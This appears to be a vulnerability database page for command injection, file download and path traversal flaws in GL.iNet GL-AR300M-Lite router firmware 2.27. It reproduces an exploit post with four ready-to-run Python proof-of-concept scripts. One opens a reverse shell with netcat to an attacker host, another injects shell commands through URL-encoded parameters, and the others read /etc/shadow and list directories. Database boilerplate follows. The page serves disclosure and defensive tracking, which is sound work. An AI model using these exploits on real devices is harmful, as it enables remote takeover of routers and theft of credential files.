VAR-201903-0450
Vulnerability from variot - Updated: 2024-11-23 21:52Command injection vulnerability in login_cgi in GL.iNet GL-AR300M-Lite devices with firmware 2.27 allows remote attackers to execute arbitrary code. GL.iNet GL-AR300M-Lite The device firmware contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. GL-AR300M-Lite is a smart wireless router.
A command injection vulnerability exists in GL-AR300M-Lite version 2.27. Currently there is no information about this vulnerability, please keep an eye on CNNVD or vendor announcements. # Exploit Title: GL-AR300M-Lite Authenticated Command injection - Arbitrary file download - Directory Traversal
Date: 15/1/2019
Exploit Author: Pasquale Turi aka boombyte
Vendor Homepage: https://www.gl-inet.com/
Software Link: https://www.gl-inet.com/products/gl-ar300m/
Version: Firmware version 2.27
CVE : CVE-2019-6272 - CVE-2019-6273 - CVE-2019-6274 - CVE-2019-6275
CVE-2019-6272 PoC (Command injection):
import requests
rhost='RHOST'
lhost='LHOST'
lport ='LPORT'
password='PASSWORD'
r=requests.get('http://'+rhost+'/login.html')
cookie=r.cookies
r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
header={'X-CSRF-TOKEN':r2.text[13:45]}
r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
header={'X-CSRF-TOKEN':r3.text[31:63]}
r4=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r3.cookies,data={'action':'settimezone','timezone':'nc '+lhost+' '+lport+' -e /bin/ash'})
CVE-2019-6273 (Arbitrary file download) PoC:
import requests
rhost='RHOST' password='PASSWORD' file_path='/etc/shadow' r=requests.get('http://'+rhost+'/login.html') cookie=r.cookies r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie) header={'X-CSRF-TOKEN':r2.text[13:45]} r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''}) header={'X-CSRF-TOKEN':r3.text[31:63]} r4=requests.get('http://'+rhost+'/cgi-bin/download_file?/mnt/..'+file_path,headers=header,cookies=r3.cookies) print r4.text
CVE-2019-6274 (Path Trasversal) PoC:
import requests
rhost='RHOST' password='PASSWORD' path='/' r=requests.get('http://'+rhost+'/login.html') cookie=r.cookies r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie) header={'X-CSRF-TOKEN':r2.text[13:45]} r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''}) header={'X-CSRF-TOKEN':r3.text[31:63]} r4=requests.get('http://'+rhost+'/cgi-bin/storage_cgi?id=2&pwd='+path,headers=header,cookies=r3.cookies) print r4.text
CVE-2019-6275 (Another command injection):
import requests
rhost='RHOST' lhost='LHOST' lport ='LPORT' password='PASSWORD' r=requests.get('http://'+rhost+'/login.html') cookie=r.cookies r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie) header={'X-CSRF-TOKEN':r2.text[13:45]} r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''}) header={'X-CSRF-TOKEN':r3.text[31:63]} r4=requests.post('http://'+rhost+'/cgi-bin/firmware_cgi?action=setautoupdate&auto_update=off&update_time=04%3a00%7cecho%20qydre8t159%201%7c%7ca%20%23\'%20%7cecho%20%20%60id%60%7c%7ca%20%23%7c%22%20%7cecho%20a%201%7c%7ca%20%23&_=1547223055153 ',headers=header,cookies=r3.cookies,) print r4.text
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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